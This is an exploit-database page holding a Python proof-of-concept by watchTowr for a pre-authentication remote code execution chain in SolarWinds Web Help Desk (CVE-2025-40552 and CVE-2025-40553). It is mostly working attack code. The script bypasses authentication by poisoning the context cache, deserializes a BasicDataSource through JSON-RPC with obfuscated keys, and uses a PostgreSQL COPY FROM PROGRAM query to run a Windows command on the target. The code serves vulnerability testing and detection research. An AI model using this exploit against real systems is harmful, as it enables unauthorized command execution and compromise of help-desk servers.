Exploit databaseDownload repository ZIP
GH-46e49817ae2b6432b36312566b65940c
watchtowrlabs/watchtowr-vs-solarwinds-webhelpdesk-cve-2025-40552-cve-2025-40553
Sources for CVE-2025-40552
1 sourcePreferred order: Exploit-DB, Metasploit, then GitHub repositories by stars.
Repository files2
watchtowrlabs/watchtowr-vs-solarwinds-webhelpdesk-cve-2025-40552-cve-2025-40553Revision 9441dd8cab91
Files from this repository share one source choice. Supporting files may cover other vulnerabilities.
watchTowr-vs-SolarWinds-WebHelpDesk-CVE-2025-40552-CVE-2025-40553.py
Python · 4,781 bytesimport sys
import argparse
import urllib3
import time
import random
import string
import requests
banner = """ __ ___ ___________
__ _ ______ _/ |__ ____ | |_\\__ ____\\____ _ ________
\\ \\/ \\/ \\__ \\ ___/ ___\\| | \\| | / _ \\ \\/ \\/ \\_ __ \\
\\ / / __ \\| | \\ \\___| Y | |( <_> \\ / | | \\/
\\/\\_/ (____ |__| \\___ |___|__|__ | \\__ / \\/\\_/ |__|
\\/ \\/ \\/
watchTowr-vs-SolarWinds-WebHelpDesk-CVE-2025-40552-CVE-2025-40553.py
(*) CVE-2025-40552 + CVE-2025-40553 Pre-Auth RCE Chain in SolarWinds Web Help Desk - Detection Artifact Generator
- Piotr Bazydlo (@chudyPB) of watchTowr
CVEs: CVE-2025-40552 and CVE-2025-40553
"""
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
sess = requests.session()
proxies = {}
def init_session(host):
print('[+] Testing CVE-2025-40552 Authentication Bypass')
url = "%shelpdesk/WebObjects/Helpdesk.woa" % host
resp = sess.get(url, proxies = proxies, verify = False)
csrf = resp.headers['Set-Cookie'].split('XSRF-TOKEN=')[-1].split(';')[0]
return csrf
def poison_cache(host, csrf):
print('\t[+] Triggering error and poisoning context cache with LookAndFeelPref')
url = "%shelpdesk/WebObjects/Helpdesk.woa/wo/1.2" % host
headers = {"X-Xsrf-Token": csrf, "Content-Type": "application/x-www-form-urlencoded"}
data = {"wopage": "LookAndFeelPref"}
resp = sess.post(url, headers=headers, data=data, proxies = proxies, verify = False)
if 'JSONRpcClient' in resp.text and 'Logo should be' in resp.text:
print('[+] VULNERABLE to CVE-2025-40552 Authentication Bypass')
else:
print('[-] NOT VULNERABLE to CVE-2025-40552, exiting')
sys.exit(-1)
def dag(host, csrf):
db = 'postgres'
table_name = 'SWWHDDAG' + ''.join(random.choice(string.ascii_lowercase + string.digits) for _ in range(8))
print('[+] Testing CVE-2025-40553 RCE')
print('\t[+] This stage will create %s DB table if successful' % table_name)
print('\t[+] Verifying deserialization and serialization of org.apache.commons.dbcp2.BasicDataSource')
url = "%shelpdesk/WebObjects/Helpdesk.woa/ajax/2.0.7.1.1.1" % host
headers = {"X-Xsrf-Token": csrf, "Content-Type": "application/x-www-form-urlencoded"}
data = """{
"id": 1,
"method": "wopage.validateValueForKey",
"p\\x61rams":
[
{
"java\\x43lass": "org.apache.commons.dbcp2.BasicDataSource",
"driverClassName":"org.postgresql.Driver",
"url":"jdbc:postgresql://127.0.0.1:20293/%s?user=whd",
"validationQuery":"SWWHDDAG",
},
null
],
"wat": "\\u0022"
}""" % db
resp = sess.post(url, headers=headers, data=data, proxies = proxies, verify = False)
if 'syntax error' in resp.text and 'SWWHDDAG' in resp.text:
print('[+] PROBABLY VULNERABLE: Connection validated and SQL queries can be executed')
else:
print('[-] MAY NOT BE VULNERABLE: Didn''t receive proper error, still attempting to test RCE')
print('\t[+] Executing "cmd.exe /c whoami" - verify locally if it worked')
data = """
{
"id": 1,
"method": "wopage.validateValueForKey",
"p\\x61rams":
[
{
"java\\x43lass": "org.apache.commons.dbcp2.BasicDataSource",
"driverClassName":"org.postgresql.Driver",
"url":"jdbc:postgresql://127.0.0.1:20293/%s?user=whd",
"validationQuery":"CREATE TABLE %s(output text); COPY %s FROM PROGRAM 'cmd.exe /c whoami'",
},
null
],
"wat": "\\u0022"
}
""" % (db, table_name, table_name)
resp = sess.post(url, headers=headers, data=data, proxies = proxies, verify = False)
if __name__ == "__main__":
print(banner)
usage = """python3 dag.py [-h] -H HOST \r\n\r\n\
For more help, use "python3 dag.py --help"
INFO HERE
"""
parser = argparse.ArgumentParser(description = 'SolarWinds WHD - CVE-2025-40552 and CVE-2025-40553 RCE Chain', usage = usage)
#required arg
parser.add_argument('-H', dest = 'host', action = "store", type = str, help = 'Host, eg. "https://target"', required = True)
#get arguments
args = parser.parse_args()
host = args.host
if host[-1] != '/':
host += '/'
csrf = init_session(host)
poison_cache(host, csrf)
dag(host, csrf)